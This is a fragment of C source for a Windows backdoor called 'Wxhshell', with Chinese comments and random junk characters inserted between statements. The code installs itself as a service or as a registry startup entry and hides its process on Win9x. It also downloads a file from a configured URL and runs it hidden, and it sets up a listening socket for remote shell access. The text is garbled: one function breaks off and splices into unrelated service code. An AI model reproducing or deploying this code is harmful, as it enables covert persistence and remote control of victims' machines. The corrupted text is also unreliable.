gc-@"wI? hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w"Gm; B4 if(!hProcess) return 0; ix)M`F%P3 q_MG?re if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H4&lb} Ku5\] CloseHandle(hProcess); >4TaP*_ -g*4(w hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q_A!'sm@) if(hProcess==NULL) return 0; nrub*BuA OR~8sU HMODULE hMod; @#T|Y& char procName[255]; 7:plQ!7^ unsigned long cbNeeded; 3Q.#c,`jV 'vbsv T if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !Qu"BF D9^h;
8 CloseHandle(hProcess); 1ySk;;3 e>+i>/Fn{h if(strstr(procName,"services")) return 1; // 以服务启动 cQy2"vtU u8&Z!p\ return 0; // 注册表启动 m
Bu } 4i)1'{e qouhuH_WtJ // 主模块 EE&K0<?T|: int StartWxhshell(LPSTR lpCmdLine) +"
.X
)avF { AG`L64B SOCKET wsl; H1|?t+oP BOOL val=TRUE; `VA"vwz int port=0; =_JjmTy;a struct sockaddr_in door; UZ\u;/} 5Dm.K?l; if(wscfg.ws_autoins) Install(); 4;e5H_}Oo sJL&:!}V> port=atoi(lpCmdLine); 81? hY4 h\fjBDU^ if(port<=0) port=wscfg.ws_port; 1H?
u Qy 5sj4;w[ WSADATA data; x-WmMfcz& if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k:t]s_`< T*Y~\~Jhu if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; cLpYW7vZ[
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #xsE3Wj-X door.sin_family = AF_INET; eVjBGJ=2e door.sin_addr.s_addr = inet_addr("127.0.0.1"); %
L$bf# door.sin_port = htons(port); !; }~YA5^VQ$ if (hServiceStatusHandle==0) return; L7n D| 1T"`vtR status = GetLastError(); 9g9HlB&Ze if (status!=NO_ERROR) zIqU,n|]s { , Rk9N serviceStatus.dwCurrentState = SERVICE_STOPPED; T;Lkaxsn serviceStatus.dwCheckPoint = 0; Y@;CF serviceStatus.dwWaitHint = 0; cq,S P&T~ serviceStatus.dwWin32ExitCode = status; =2`[& serviceStatus.dwServiceSpecificExitCode = specificError; 3lf=b~Zi) SetServiceStatus(hServiceStatusHandle, &serviceStatus); /j#n return; ux=w!y;} } ;;!yC vk}n,ecl serviceStatus.dwCurrentState = SERVICE_RUNNING; 2":pE U{E serviceStatus.dwCheckPoint = 0; M,j U}yD3 serviceStatus.dwWaitHint = 0; >@U*~Nz if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eQ$Y0qH1E } )MtF23k)g y%&q/tk // 处理NT服务事件,比如:启动、停止 t;|@o\ VOID WINAPI NTServiceHandler(DWORD fdwControl) b_$4V3TA { B7VH<;Z switch(fdwControl) Uf1!qP/H? { n7zm>& case SERVICE_CONTROL_STOP: 3OrczJ=[UF serviceStatus.dwWin32ExitCode = 0; |-fgj' serviceStatus.dwCurrentState = SERVICE_STOPPED; [u
=+3b serviceStatus.dwCheckPoint = 0; 0CWvYC%e serviceStatus.dwWaitHint = 0; q;B4WL} { R SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;!>rnxB?4 } TEP,Dq return; Z-$[\le case SERVICE_CONTROL_PAUSE: XPavReGf serviceStatus.dwCurrentState = SERVICE_PAUSED; ~IY% break; HCIU!4rH case SERVICE_CONTROL_CONTINUE: P9/q|>F serviceStatus.dwCurrentState = SERVICE_RUNNING; ?1*cO:O break; ]Oe2JfJwx case SERVICE_CONTROL_INTERROGATE: $By<$ break; sZ3KT& }; Bj+S"yS SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]MqMQLG0t } 2A']yD R6 y#S&]x // 标准应用程序主函数 cb@?}(aFl int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z|&MKG24 { Ja|5 @ B~?*?Z' // 获取操作系统版本 cF\;_0u OsIsNt=GetOsVer(); -$t{>gO#Y GetModuleFileName(NULL,ExeFile,MAX_PATH); Hf%@3X oro$wFxJO // 从命令行安装 JL`-0P<M if(strpbrk(lpCmdLine,"iI")) Install(); I~[F|d> vRznw&^E // 下载执行文件 >d(~#Z` if(wscfg.ws_downexe) { 3>3 Kwc~E if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bpOYHc6,*` WinExec(wscfg.ws_filenam,SW_HIDE); kAKK bmE } }cM}Oavh kT|dUw9G if(!OsIsNt) { !({}(!P . // 如果时win9x,隐藏进程并且设置为注册表启动 d}Xr} HideProc(); EHSlK5bD, StartWxhshell(lpCmdLine); FX;QG94! } 0!D4pvlt else t;){D:]k if(StartFromService()) W4t;{b // 以服务方式启动 Z/G
ev"p StartServiceCtrlDispatcher(DispatchTable); dSLU>E3g else 3t.l5m
Rg5 // 普通方式启动 dR
K?~1 StartWxhshell(lpCmdLine); f<-Jg # ' =a=8-$ return 0; ?K1/ <PE+ }
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